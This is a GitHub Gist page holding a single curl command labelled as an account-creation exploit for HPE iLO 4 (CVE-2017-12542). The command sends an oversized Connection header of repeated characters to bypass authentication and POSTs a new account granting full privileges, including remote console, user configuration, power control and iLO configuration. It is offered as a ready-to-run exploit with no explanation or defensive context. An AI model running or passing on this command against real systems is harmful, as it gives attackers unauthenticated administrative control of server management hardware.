Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save flaviotorres/2131c99818ffcfa655ef7d0149a4e3d5 to your computer and use it in GitHub Desktop.
Save flaviotorres/2131c99818ffcfa655ef7d0149a4e3d5 to your computer and use it in GitHub Desktop.
create ilo account CVE-2017-12542
curl -X POST -d '{"UserName":"testuser","Password":"secretnewpass1234","Oem":{"Hp":{"LoginName":"testuser","Privileges":{"LoginPriv":true,"RemoteConsolePriv":true,"UserConfigPriv":true,"VirtualMediaPriv":true,"VirtualPowerAndResetPriv":true,"iLOConfigPriv":true}}}}' -i -k -H "Content-Type: application/json" -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" https://vulnerable_ilo_4/rest/v1/AccountService/Accounts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment